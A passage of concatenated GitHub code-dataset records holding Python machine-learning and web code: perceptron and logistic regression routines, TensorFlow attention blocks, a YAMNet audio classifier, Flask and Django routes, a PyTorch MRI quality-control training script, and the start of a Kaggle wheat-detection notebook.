<= 0):\n flag = True\n W += np.dot(Y[i], X[i])\n updates += 1;\n print(f\"Perceptron terminated successfully after {epochs} epochs and {updates} updates with result W = {W}\")\n return W;","repo_name":"yuvallavie/Machine-Learning","sub_path":"Implementations/Python/HalfSpaceClassifier/PerceptronSolver.py","file_name":"PerceptronSolver.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"35274817843","text":"def attention_block(input, block_name):\r\n with tf.variable_scope(block_name):\r\n input_shape = input.get_shape().as_list()\r\n\r\n mask_downsample1 = avg_pool_layer(input, ksize=2, stride=2, layer_name='mask_downsample1')\r\n mask_residual1 = residual_unit(input=mask_downsample1,\r\n out_channel=input_shape[-1],\r\n ksize=3,\r\n unit_name='mask_residual1',\r\n down_sampling=False)\r\n\r\n skip = residual_unit(input=mask_residual1,\r\n out_channel=input_shape[-1],\r\n ksize=3,\r\n unit_name='skip',\r\n down_sampling=False)\r\n\r\n mask_downsample2 = avg_pool_layer(mask_residual1, ksize=2, stride=2, layer_name='mask_downsample2')\r\n mask_residual2 = residual_unit(input=mask_downsample2,\r\n out_channel=input_shape[-1],\r\n ksize=3,\r\n unit_name='mask_residual2',\r\n down_sampling=False)\r\n\r\n mask_upsample1 = tf.image.resize_bilinear(mask_residual2, size=[input_shape[1] // 2, input_shape[2] // 2])\r\n\r\n fusion = tf.add(skip, mask_upsample1)\r\n\r\n mask_residual4 = residual_unit(input=fusion,\r\n out_channel=input_shape[-1],\r\n ksize=3,\r\n unit_name='mask_residual4',\r\n down_sampling=False)\r\n mask_upsample2 = tf.image.resize_bilinear(mask_residual4, size=[input_shape[1], input_shape[2]])\r\n\r\n bn1 = bn_layer(mask_upsample2, layer_name='bn1')\r\n relu1 = relu_layer(bn1, layer_name='relu1')\r\n conv1 = conv_layer(relu1, out_channel=input_shape[-1], ksize=1, stride=1, layer_name='conv1')\r\n\r\n bn2 = bn_layer(conv1, layer_name='bn2')\r\n relu2 = relu_layer(bn2, layer_name='relu2')\r\n conv2 = conv_layer(relu2, out_channel=input_shape[-1], ksize=1, stride=1, layer_name='conv2')\r\n\r\n sigmoid = tf.nn.sigmoid(conv2)\r\n image_summary(sigmoid, layer_name='attention_img')\r\n\r\n attention_result = tf.multiply(input, sigmoid)\r\n\r\n image_summary(attention_result, layer_name='attention_mask')\r\n\r\n attention_residual = tf.add(attention_result, input)\r\n\r\n return attention_residual\r\n\r\n\r\ndef spp_block(input, block_name):\r\n with tf.variable_scope(block_name):\r\n img_shape = input.get_shape().as_list()\r\n\r\n pool4x4_kernel = np.ceil(img_shape[1] / 4)\r\n pool4x4_stride = np.floor(img_shape[1] / 4)\r\n\r\n pool2x2_kernel = np.ceil(img_shape[1] / 2)\r\n pool2x2_stride = np.floor(img_shape[1] / 2)\r\n\r\n pool1x1_kernel = img_shape[1]\r\n pool1x1_stride = img_shape[1]\r\n\r\n maxpool_4x4 = max_pool_layer(input, ksize=pool4x4_kernel, stride=pool4x4_stride, layer_name='spp_pool4x4')\r\n maxpool_2x2 = max_pool_layer(input, ksize=pool2x2_kernel, stride=pool2x2_stride, layer_name='spp_pool2x2')\r\n maxpool_1x1 = max_pool_layer(input, ksize=pool1x1_kernel, stride=pool1x1_stride, layer_name='spp_pool1x1')\r\n\r\n flatten_4x4 = tf.layers.flatten(maxpool_4x4)\r\n flatten_2x2 = tf.layers.flatten(maxpool_2x2)\r\n flatten_1x1 = tf.layers.flatten(maxpool_1x1)\r\n\r\n concated = tf.concat([flatten_4x4, flatten_2x2, flatten_1x1], axis=-1)\r\n\r\n return concated\r\n\r\n\r\ndef attention_block(input, block_name):\r\n with tf.variable_scope(block_name):\r\n in_channel = input.get_shape().as_list()[-1]\r\n bn1 = bn_layer(input, layer_name='bn1')\r\n relu1 = relu_layer(bn1, layer_name='relu1')\r\n global_pool = global_avg_pool_layer(input=relu1, layer_name='global_pool')\r\n global_pool = flatten(global_pool, layer_name='flatten')\r\n fc1 = fc_layer(input=global_pool, out_channel=in_channel // 2, layer_name='fc1')\r\n bn2 = bn_layer(fc1, layer_name='bn2')\r\n relu2 = relu_layer(bn2, layer_name='relu2')\r\n fc2 = fc_layer(relu2, out_channel=in_channel, layer_name='fc2')\r\n sigmoid = tf.nn.sigmoid(fc2)\r\n tf.summary.histogram('attention_sigmoid', sigmoid)\r\n\r\n sig_reshape = tf.reshape(sigmoid, [-1, 1, 1, in_channel])\r\n attention_mask = input * sig_reshape\r\n image_summary(attention_mask, layer_name='attention_mask')\r\n attention_residual = input + attention_mask\r\n\r\n return attention_residual","repo_name":"FightingZhen/Multiscale_Attention_Network","sub_path":"Own_Network/attention_spp_block.py","file_name":"attention_spp_block.py","file_ext":"py","file_size_in_byte":4609,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"} +{"seq_id":"72708185336","text":"import tensorflow as tf\r\nimport sounddevice as sd\r\nimport numpy as np\r\nimport csv\r\nimport io\r\n\r\nBLOCKSIZE = 15600\r\n\r\ndef class_names_from_csv(class_map_csv_text):\r\n \"\"\"Returns list of class names corresponding to score vector.\"\"\"\r\n class_map_csv = io.StringIO(class_map_csv_text)\r\n class_names = [display_name for (class_index, mid, display_name) in csv.reader(class_map_csv)]\r\n class_names = class_names[1:] # Skip CSV header\r\n return class_names\r\n\r\nclass_names = class_names_from_csv(open('./yamnet_class_map.csv').read())\r\n\r\n\r\n# load model\r\ninterpreter = tf.lite.Interpreter('./models/yamnet.tflite')\r\ninput_details = interpreter.get_input_details()\r\nwaveform_input_index = input_details[0]['index']\r\noutput_details = interpreter.get_output_details()\r\nscores_output_index = output_details[0]['index']\r\nembeddings_output_index = output_details[1]['index']\r\nspectrogram_output_index = output_details[2]['index']\r\n\r\n# define a method to run the model on incoming data\r\ndef interpreter_inference(sd_waveform):\r\n waveform = np.array(sd_waveform).reshape(BLOCKSIZE)\r\n interpreter.resize_tensor_input(waveform_input_index, [len(waveform)], strict=True)\r\n interpreter.allocate_tensors()\r\n interpreter.set_tensor(waveform_input_index, waveform)\r\n interpreter.invoke()\r\n\r\n scores, embeddings, spectrogram = (\r\n interpreter.get_tensor(scores_output_index),\r\n interpreter.get_tensor(embeddings_output_index),\r\n interpreter.get_tensor(spectrogram_output_index))\r\n \r\n return scores, embeddings, spectrogram\r\n\r\n# define a callback which is called every BLOCKSIZE samples received (15600 here)\r\ndef callback(indata, frames, time, status):\r\n if status:\r\n print(status)\r\n scores, _, _ = interpreter_inference(indata)\r\n best_class = class_names[scores.mean(axis=0).argmax()]\r\n print(best_class)\r\n\r\n\r\ntry:\r\n # use soundevice InputStream\r\n with sd.InputStream(\r\n device=0, channels=max([1]),\r\n samplerate=16000, blocksize=BLOCKSIZE, callback=callback):\r\n \r\n while True:\r\n pass\r\n\r\nexcept KeyboardInterrupt:\r\n exit()\r\nexcept Exception as e:\r\n exit(type(e).__name__ + ': ' + str(e))","repo_name":"benjamin-henry/realtime_yamnet512","sub_path":"real_time_test.py","file_name":"real_time_test.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16238745013","text":"import numpy as np\nimport time\n \n\n#sigmoid函数\ndef sigmoid(z):\n return 1.0/(1+np.exp(-z))\n\n#模型\ndef model(x,theta):\n return sigmoid(np.dot(x,theta.T))\n\n#损失值\ndef cost(x,y,theta):\n left=-y*np.log(model(x,theta))\n right=(1-y)*np.log(1-model(x,theta))\n return np.sum(left-right)/len(x)\n\n#计算梯度\ndef gradient(x,y,theta):\n grad=np.zeros(theta.shape)\n error=(model(x,theta)-y).ravel() #误差\n for j in range(len(theta.ravel())): #计算theta的梯度\n term=np.multiply(error,x[:,j])\n grad[0,j]=np.sum(term)/len(x)\n return grad\n\n#停止策略\ndef stopCriterion(stopType,value,thresh):\n if stopType==0:\n return value>thresh\n elif stopType==1:\n return abs(value[-1]-value[-2])=data.shape[0]:\n k=0\n x,y=shuffleData(data)\n theta=theta-alpha*grad\n costs.append(cost(x,y,theta))\n i+=1\n if stopType==0:\n value=i\n elif stopType==1:\n value=costs\n elif stopType==2:\n value=grad\n if stopCriterion(stopType,value,thresh):\n break\n return theta,i-1,costs,grad,time.time()-init_time\n\n\n","repo_name":"myHonorABC/My_Project","sub_path":"logistic.py","file_name":"logistic.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"13401572419","text":"# Import the dependencies\n\nfrom flask import Flask, jsonify\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nimport datetime as dt\nimport numpy as np\n\n#################################################\n# Database Setup\n#################################################\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\n# reflect an existing database into a new model\nBase = automap_base()\n\n# reflect the tables\nBase.prepare(autoload_with=engine)\n\n# Save references to each table\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n# Create our session (link) from Python to the DB\nsession = Session(engine)\n\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n\n\n\n#################################################\n# Flask Routes\n#################################################\n\n@app.route(\"/\")\ndef welcome():\n return (\n f\"Hawaii Climate API
    \"\n f\"Available Routes:
    \"\n f\"/api/v1.0/precipitation
    \"\n f\"/api/v1.0/stations
    \"\n f\"/api/v1.0/tobs
    \"\n f\"/api/v1.0/temp/start
    \"\n f\"/api/v1.0/temp/start/end
    \"\n\n )\n\ndate_one_year_ago = dt.date(2017, 8, 23) - dt.timedelta(days=365)\nquery = session.query(Measurement.date, Measurement.prcp).filter(Measurement.date >= date_one_year_ago).all()\nquery_results = dict(query)\nquery_results\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n return query_results\n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"mfeas/sqlalchemy-challenge","sub_path":"SurfsUp/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37431189005","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('about', views.about, name='about'),\n path('addContact', views.addContact, name='addContact'),\n path('details/', views.details, name='details'),\n path('update/', views.update, name='update'),\n path('deleteConf/', views.deleteConf, name='deleteConf'),\n path('delete/', views.delete, name='delete')\n]\n","repo_name":"parimalingle1805/parimal_ingle","sub_path":"app/parimal_ingle_CMA/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"4174885871","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n#\n# @author Vladimir S. FONOV\n# @date 13/04/2018\nimport argparse\nimport os\nimport numpy as np\nimport io\nimport copy\nimport json\n\nfrom aqc_data import *\nfrom model.util import *\n\nimport torch\nimport torch.nn as nn\n\nfrom torch import optim\nfrom torch.utils.tensorboard import SummaryWriter\n\n\ndef run_validation_testing_loop(dataloader, model, loss_fn=nn.functional.cross_entropy, details=False,predict_dist=False ):\n \"\"\"\n Run Validation/Testing loop\n return validation_dict, validation_log\n \"\"\"\n res = {}\n\n ids = []\n _preds = np.zeros(0,dtype='int')\n _labels = np.zeros(0,dtype='int')\n _scores = np.zeros(0)\n _dist = np.zeros(0)\n\n val_loss = 0.0\n from sklearn.metrics import accuracy_score\n from sklearn.metrics import precision_recall_fscore_support\n from sklearn.metrics import roc_auc_score\n\n with torch.no_grad():\n for v_batch, v_sample_batched in enumerate(dataloader):\n inputs = v_sample_batched['image' ].cuda()\n labels = v_sample_batched['status'].cuda()\n\n outputs=model(inputs)\n if predict_dist:\n dist = v_sample_batched['dist'].float().cuda()\n outputs=outputs.squeeze(1)\n loss = loss_fn(outputs, dist)\n else:\n loss = loss_fn(outputs, labels)\n\n if predict_dist:\n _preds = np.concatenate((_preds, outputs.cpu().numpy()))\n _dist = np.concatenate((_dist, dist.cpu().numpy()))\n else:\n outputs = nn.functional.softmax(outputs,1)\n _, preds = torch.max(outputs, 1)\n _preds =np.concatenate((_preds, preds.cpu().numpy()))\n _scores=np.concatenate((_scores,outputs[:,1].cpu().numpy()))\n\n _labels=np.concatenate((_labels,labels.cpu().numpy()))\n val_loss += float(loss) * inputs.size(0)\n ids.extend(v_sample_batched['id'])\n\n\n # (?)\n val_loss /= len(ids)\n\n res['summary'] = { 'loss': val_loss }\n\n if not predict_dist:\n _ap = float(np.sum( (_labels == 1)))\n _an = float(np.sum( (_labels == 0)))\n\n # calculating true positive and true negative\n _tpr = float(np.sum( (_preds == 1)*(_labels==1)))\n _tnr = float(np.sum( (_preds == 0)*(_labels==0)))\n\n if _ap>0:\n _tpr /= _ap\n else:\n _tpr = 0.0\n\n if _an>0:\n _tnr /= _an\n else:\n _tnr = 0.0\n\n prec,recall,fbeta,_ = precision_recall_fscore_support(_labels,_preds,average='binary')\n res['summary'].update(\n { \n 'acc': accuracy_score(_labels, _preds),\n 'prec': prec,\n 'F': fbeta,\n 'recall': recall,\n 'auc': roc_auc_score(_labels,_scores),\n 'tpr': _tpr,\n 'tnr': _tnr\n } )\n\n \n if details:\n res['details'] = {\n 'ids':ids,\n 'preds':_preds.tolist(),\n 'labels':_labels.tolist(),\n 'dist': _dist.tolist()\n }\n if not predict_dist:\n res['details'].update({\n 'scores':_scores.tolist()\n })\n return res\n\n\n\ndef parse_options():\n\n parser = argparse.ArgumentParser(description='Train automated QC',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument(\"--n_epochs\", type=int, default=10,\n help=\"Total number of epochs\")\n parser.add_argument(\"--batch_size\", type=int, default=8,\n help=\"Batch size\")\n parser.add_argument(\"--workers\", type=int, default=2,\n help=\"Number of workers to load data\")\n parser.add_argument(\"--ref\",action=\"store_true\",default=False,\n help=\"Use reference images\")\n parser.add_argument(\"output\", type=str, \n help=\"Output prefix\")\n parser.add_argument(\"--data\", type=str, default=\"../data\",\n help=\"Data prefix\")\n parser.add_argument(\"--db\", type=str, default=\"qc_db.sqlite3\",\n help=\"DB file\")\n parser.add_argument(\"--load\", type=str, default=None,\n help=\"Load pretrained model\")\n parser.add_argument(\"--val\",action=\"store_true\",default=False,\n help=\"Validate that all files are there\") \n parser.add_argument(\"--save_final\",action=\"store_true\",default=False,\n help=\"Save final model\") \n parser.add_argument(\"--save_best\",action=\"store_true\",default=False,\n help=\"Save final best models\") \n parser.add_argument(\"--save_cpu\",action=\"store_true\",default=False,\n help=\"Save models for CPU inference\") \n parser.add_argument(\"--net\", choices=['r18', 'r34', 'r50','r101','r152',\n 'sq101',\n 'x50', 'x101',\n 'wr50','wr101'],\n help=\"Network type\",default='r18')\n parser.add_argument(\"--adam\",action=\"store_true\",default=False,\n help=\"Use ADAM instead of SGD\") \n parser.add_argument(\"--pretrained\",action=\"store_true\",default=False,\n help=\"Use ImageNet pretrained models\") \n parser.add_argument(\"--lr\",type=float, default=0.0001,\n help=\"Learning rate\")\n parser.add_argument(\"--warmup_lr\",type=float, default=1e-9,\n help=\"Warmup learning rate\")\n parser.add_argument(\"--warmup_iter\",type=int, default=0,\n help=\"Warmup iterations\")\n parser.add_argument(\"--seed\", type=int, default=42,\n help=\"Seed for shuffling data\")\n parser.add_argument(\"--fold\", type=int, default=0,\n help=\"CV fold\")\n parser.add_argument(\"--folds\", type=int, default=0,\n help=\"CV total number of folds, 0 - disable CV\")\n parser.add_argument(\"--validation\", type=int, default=200,\n help=\"Number of unique subjects used for validation\")\n parser.add_argument(\"--freq\", type=int, default=None,\n help=\"Perform frequent validations, every N minibatches (for debugging)\")\n parser.add_argument(\"--clip\", type=float, default=0.0,\n help=\"Apply gradient clipping\")\n parser.add_argument(\"--l2\", type=float, default=None,\n help=\"Apply l2 regularization\")\n parser.add_argument(\"--balance\",action=\"store_true\",default=False,\n help=\"Balance validation and testing sample\")\n parser.add_argument(\"--dist\",action=\"store_true\",default=False,\n help=\"Predict misregistration distance instead of class membership\")\n\n params = parser.parse_args()\n \n return params\n\nif __name__ == '__main__':\n params = parse_options()\n data_prefix = params.data\n db_name = params.db\n params.ref = params.ref\n grad_norm = params.clip\n regularize_l2 = params.l2\n init_lr = params.lr\n warmup_lr = params.warmup_lr\n warmup_iter = params.warmup_iter\n predict_dist = params.dist\n \n all_samples_main = load_full_db(data_prefix + os.sep + db_name, \n data_prefix, True, table=\"qc_all\")\n\n # if distance training is required \n all_samples_aug = load_full_db(data_prefix + os.sep + db_name, \n data_prefix, True, table=\"qc_all_aug\",\n use_variant_dist=params.dist )\n\n print(\"Main samples: {}\".format(len(all_samples_main)))\n print(\"Aug samples: {}\".format(len(all_samples_aug)))\n\n training, validation, testing = split_dataset(\n all_samples_main, fold=params.fold, \n folds=params.folds, \n validation=params.validation, \n shuffle=True, seed=params.seed, \n sec_samples=all_samples_aug )\n\n train_dataset = QCDataset(training, data_prefix, use_ref=params.ref)\n validate_dataset = QCDataset(validation, data_prefix, use_ref=params.ref)\n testing_dataset = QCDataset(testing, data_prefix, use_ref=params.ref)\n \n if params.balance:\n validate_dataset.balance()\n testing_dataset.balance()\n\n print(\"Training {} samples, {} unique subjects, balance {}\".format(len(train_dataset), train_dataset.n_subjects(), train_dataset.get_balance()))\n print(\"Validation {} samples, {} unique subjects, balance {}\".format(len(validate_dataset),validate_dataset.n_subjects(), validate_dataset.get_balance()))\n print(\"Testing {} samples, {} unique subjects, balance {}\".format(len(testing_dataset), testing_dataset.n_subjects(), testing_dataset.get_balance()))\n\n training_dataloader = DataLoader(train_dataset, \n batch_size=params.batch_size,\n shuffle=True, \n num_workers=params.workers,\n drop_last=True,\n pin_memory=True)\n \n validation_dataloader = DataLoader(validate_dataset, \n batch_size=params.batch_size,\n shuffle=False, \n num_workers=params.workers,\n drop_last=False)\n\n model = get_qc_model(params, use_ref=params.ref, \n pretrained=params.pretrained,\n predict_dist=predict_dist)\n\n model = model.cuda()\n #criterion = nn.CrossEntropyLoss()\n if params.adam:\n # parameters from LUA version\n optimizer = optim.Adam(model.parameters(), \n lr=init_lr, betas=(0.9, 0.999), eps=1e-08, weight_decay=0.0001)\n else:\n optimizer = optim.SGD(model.parameters(), lr=params.lr, momentum=0.9, weight_decay=0.0001)\n scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=7, gamma=0.1)\n\n writer = SummaryWriter()\n\n global_ctr = 0\n\n best_model_acc = copy.deepcopy(model.state_dict())\n best_model_tpr = copy.deepcopy(model.state_dict())\n best_model_tnr = copy.deepcopy(model.state_dict())\n best_model_auc = copy.deepcopy(model.state_dict())\n best_model_loss = copy.deepcopy(model.state_dict())\n\n best_acc = 0.0\n best_acc_epoch = -1\n best_acc_ctr = -1\n\n best_tnr = 0.0\n best_tnr_epoch = -1\n best_tnr_ctr = -1\n\n best_tpr = 0.0\n best_tpr_epoch = -1\n best_tpr_ctr = -1\n\n best_auc = 0.0\n best_auc_epoch = -1\n best_auc_ctr = -1\n\n best_loss = 1e10\n best_loss_epoch = -1\n best_loss_ctr = -1\n\n\n training_log = []\n validation_log = []\n testing_log = []\n # DEBUG\n # torch.autograd.set_detect_anomaly(True)\n # DEBUG\n for epoch in range(params.n_epochs):\n print('Epoch {}/{}'.format(epoch+1, params.n_epochs))\n print('-' * 10)\n\n model.train(True) # Set model to training mode\n for i_batch, sample_batched in enumerate(training_dataloader):\n if epoch==0 and warmup_iter>0:\n if i_batch == 0:\n for g in optimizer.param_groups :\n g[ 'lr' ] = warmup_lr\n elif i_batch == warmup_iter:\n for g in optimizer.param_groups :\n g[ 'lr' ] = init_lr\n\n inputs = sample_batched['image'].cuda()\n if predict_dist:\n dist = sample_batched['dist'].float().cuda()\n else:\n labels = sample_batched['status'].cuda()\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n outputs = model(inputs)\n if predict_dist:\n\n outputs=outputs.squeeze(1)\n preds = outputs.data\n loss = nn.functional.mse_loss(outputs, dist)\n else:\n with torch.no_grad():\n _, preds = torch.max(outputs.data, 1)\n loss = nn.functional.cross_entropy(outputs, labels)\n\n if regularize_l2>0.0:\n l2_norm = model_param_norm(model , 2)\n loss = loss + l2_norm * regularize_l2\n\n # if training\n loss.backward()\n\n if grad_norm > 0.0:\n grad_log = clip_grad_norm(model.parameters(), grad_norm)\n else:\n grad_log = get_model_grad_norm(model.parameters())\n\n optimizer.step()\n\n batch_loss = loss.data.item()\n\n log={'loss': batch_loss,\n 'grad':float(grad_log)}\n\n if not predict_dist:\n batch_acc = torch.sum(preds == labels.data).item()\n log['acc'] = batch_acc/inputs.size(0)\n # training stats\n writer.add_scalars('{}/training'.format(params.output),\n log, global_ctr)\n log['ctr']=global_ctr\n log['epoch']=epoch\n\n \n if params.freq is not None and \\\n (global_ctr%params.freq)==0 and \\\n len(validation)>0:\n model.train(False)\n val_info = run_validation_testing_loop(validation_dataloader, model, \n loss_fn = nn.functional.mse_loss if predict_dist else nn.functional.cross_entropy,\n predict_dist=predict_dist,\n details=False)\n\n val = val_info['summary']\n \n if predict_dist:\n if val['loss'] < best_loss:\n best_loss = val['loss']\n best_loss_epoch = epoch\n best_loss_ctr = global_ctr\n best_model_loss = copy.deepcopy(model.state_dict())\n else:\n if val['acc'] > best_acc:\n best_acc = val['acc']\n best_acc_epoch = epoch\n best_acc_ctr = global_ctr\n best_model_acc = copy.deepcopy(model.state_dict())\n\n if val['tpr'] > best_tpr:\n best_tpr = val['tpr']\n best_tpr_epoch = epoch\n best_tpr_ctr = global_ctr\n best_model_tpr = copy.deepcopy(model.state_dict())\n\n if val['tnr'] > best_tnr:\n best_tnr = val['tnr']\n best_tnr_epoch = epoch\n best_tnr_ctr = global_ctr\n best_model_tnr = copy.deepcopy(model.state_dict())\n\n if val['auc'] > best_auc:\n best_auc = val['auc']\n best_auc_epoch = epoch\n best_auc_ctr = global_ctr\n best_model_auc = copy.deepcopy(model.state_dict())\n \n writer.add_scalars('{}/validation'.format(params.output), \n val,\n global_ctr)\n\n val['epoch']=epoch\n val['ctr']=global_ctr\n validation_log.append(val)\n model.train(True)\n\n training_log.append(log)\n global_ctr += 1\n\n model.train(False) # Set model to evaluation mode\n # run validation at the end of epoch\n if len(validation)>0:\n val_info = run_validation_testing_loop(validation_dataloader,model,details=False,\n loss_fn = nn.functional.mse_loss if predict_dist else nn.functional.cross_entropy,\n predict_dist=predict_dist,\n )\n val = val_info['summary']\n\n if not params.adam:\n scheduler.step()\n \n if predict_dist:\n if val['loss'] < best_loss:\n best_loss = val['loss']\n best_loss_epoch = epoch\n best_loss_ctr = global_ctr\n best_model_loss = copy.deepcopy(model.state_dict())\n else:\n if val['acc'] > best_acc:\n best_acc = val['acc']\n best_acc_epoch = epoch\n best_acc_ctr = global_ctr\n best_model_acc = copy.deepcopy(model.state_dict())\n\n if val['tpr'] > best_tpr:\n best_tpr = val['tpr']\n best_tpr_epoch = epoch\n best_tpr_ctr = global_ctr\n best_model_tpr = copy.deepcopy(model.state_dict())\n\n if val['tnr'] > best_tnr:\n best_tnr = val['tnr']\n best_tnr_epoch = epoch\n best_tnr_ctr = global_ctr\n best_model_tnr = copy.deepcopy(model.state_dict())\n\n if val['auc'] > best_auc:\n best_auc = val['auc']\n best_auc_epoch = epoch\n best_auc_ctr = global_ctr\n best_model_auc = copy.deepcopy(model.state_dict())\n \n writer.add_scalars('{}/validation_epoch'.format(params.output), \n val,\n epoch)\n\n val['epoch']=epoch\n val['ctr']=global_ctr\n validation_log.append(val)\n\n if predict_dist:\n print('Epoch: {} Validation Loss: {:.4f}'.\\\n format(epoch, val['loss']))\n else:\n print('Epoch: {} Validation Loss: {:.4f} ACC:{:.4f} TPR:{:.4f} TNR:{:.4f} AUC:{:.4f}'.\\\n format(epoch, val['loss'], val['acc'], val['tpr'], val['tnr'],val['auc']))\n else:\n print('Epoch: {} no validation'.format(epoch))\n \n ###\n final_model = copy.deepcopy(model.state_dict())\n if params.save_final:\n save_model(model,\"final\", params.output, fold=params.fold, folds=params.folds, cpu=params.save_cpu)\n\n if len(validation)>0 and params.save_best:\n if predict_dist:\n model.load_state_dict(best_model_loss)\n save_model(model,\"best_loss\", params.output, fold=params.fold, folds=params.folds, cpu=params.save_cpu)\n else:\n model.load_state_dict(best_model_acc)\n save_model(model,\"best_acc\", params.output, fold=params.fold, folds=params.folds, cpu=params.save_cpu)\n \n model.load_state_dict(best_model_tpr)\n save_model(model,\"best_tpr\", params.output, fold=params.fold, folds=params.folds, cpu=params.save_cpu)\n \n model.load_state_dict(best_model_tnr)\n save_model(model,\"best_tnr\", params.output, fold=params.fold, folds=params.folds, cpu=params.save_cpu)\n \n model.load_state_dict(best_model_auc)\n save_model(model,\"best_auc\", params.output, fold=params.fold, folds=params.folds, cpu=params.save_cpu)\n\n testing_final={}\n testing_best_acc={}\n testing_best_tpr={}\n testing_best_tnr={}\n testing_best_auc={}\n testing_best_loss={}\n\n if len(testing)>0:\n print(\"Testing...\")\n testing_dataloader = DataLoader(testing_dataset, \n batch_size=params.batch_size,\n shuffle=False, \n num_workers=params.workers,\n drop_last=False)\n\n with torch.no_grad():\n\n model.load_state_dict(final_model)\n testing_final = run_validation_testing_loop(testing_dataloader, model, details=True,\n loss_fn = nn.functional.mse_loss if predict_dist else nn.functional.cross_entropy,\n predict_dist=predict_dist)\n\n if len(validation)>0:\n if predict_dist:\n model.load_state_dict(best_model_loss)\n testing_best_loss = run_validation_testing_loop(testing_dataloader, model, details=True,\n loss_fn = nn.functional.mse_loss,\n predict_dist=predict_dist)\n else:\n model.load_state_dict(best_model_acc)\n testing_best_acc = run_validation_testing_loop(testing_dataloader, model, details=True)\n\n model.load_state_dict(best_model_auc)\n testing_best_auc = run_validation_testing_loop(testing_dataloader, model, details=True)\n\n model.load_state_dict(best_model_tpr)\n testing_best_tpr = run_validation_testing_loop(testing_dataloader, model, details=True)\n\n model.load_state_dict(best_model_tnr)\n testing_best_tnr = run_validation_testing_loop(testing_dataloader, model, details=True)\n\n\n if not os.path.exists(params.output):\n os.makedirs(params.output)\n\n log_path = os.path.join(params.output, \n 'log_{}_{}.json'.format(params.fold,params.folds))\n\n \n print(\"Saving log to {}\".format(log_path))\n with open(log_path,'w') as f:\n json.dump(\n {\n 'folds': params.folds,\n 'fold': params.fold,\n\n ### DEBUG\n #'training_subj': list(train_dataset.qc_subjects),\n #'validation_subj': list(validate_dataset.qc_subjects),\n #'testing_subj': list(testing_dataset.qc_subjects),\n ### DEBUB\n\n 'model': params.net,\n 'model_load': params.load,\n \n 'ref': params.ref,\n 'batch_size': params.batch_size,\n 'n_epochs': params.n_epochs,\n 'pretrained': params.pretrained,\n 'adam': params.adam,\n 'lr': params.lr,\n\n 'grad_norm' : grad_norm,\n 'regularize_l2': regularize_l2,\n 'init_lr': init_lr,\n 'warmup_lr':warmup_lr,\n 'warmup_iter': warmup_iter, \n\n 'best_acc':best_acc, \n 'best_acc_epoch':best_acc_epoch, \n 'best_acc_ctr':best_acc_ctr, \n\n 'best_tnr':best_tnr, \n 'best_tnr_epoch':best_tnr_epoch, \n 'best_tnr_ctr':best_tnr_ctr, \n\n 'best_tpr':best_tpr, \n 'best_tpr_epoch':best_tpr_epoch, \n 'best_tpr_ctr':best_tpr_ctr, \n\n 'best_auc':best_auc, \n 'best_auc_epoch':best_auc_epoch, \n 'best_auc_ctr':best_auc_ctr, \n\n 'training':training_log,\n 'validation': validation_log,\n \n 'testing_final': testing_final,\n 'testing_best_acc': testing_best_acc,\n 'testing_best_auc': testing_best_auc,\n 'testing_best_tpr': testing_best_tpr,\n 'testing_best_tnr': testing_best_tnr,\n 'testing_best_loss': testing_best_loss\n }, f )\n","repo_name":"vfonov/DARQ","sub_path":"python/aqc_training.py","file_name":"aqc_training.py","file_ext":"py","file_size_in_byte":23279,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"69947581498","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python Docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load\n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the read-only \"../input/\" directory\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nimport os\n\n# for dirname, _, filenames in os.walk('/kaggle/input'):\n\n# for filename in filenames:\n\n# print(os.path.join(dirname, filename))\n\n\n\n# You can write up to 5GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n\n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session\nimport imageio\n\nimport shutil\n\nimport random\n\nfrom tqdm.auto import tqdm\n\nimport matplotlib.pyplot as plt\nimg_path = '../input/global-wheat-detection/train/'\n\n\n\ndef display_img(image_idx):\n\n img = imageio.imread(f'{img_path}/{image_idx}.jpg')\n\n plt.imshow(img)\n\n \n\n\n\ndef display_all_locations():\n\n\n\n for location in set(df['combined_src']):\n\n loc_mask = df['combined_src'] == location\n\n\n\n plt.figure(figsize=(20, 15))\n\n plt.suptitle(location)\n\n r, c = 10, 10\n\n for i in range(r*c):\n\n rand_idx = random.randint(0, df[loc_mask].shape[0]-1)\n\n plt.subplot(r, c, i+1)\n\n display_img(df[loc_mask].iloc[rand_idx, 0])\n\n\n\n # break\norig_df = pd.read_csv('../input/global-wheat-detection/train.csv')\n\norig_df.head()\norig_df['source'].hist()\n\norig_df['source'].value_counts()\norig_df['combined_src'] = 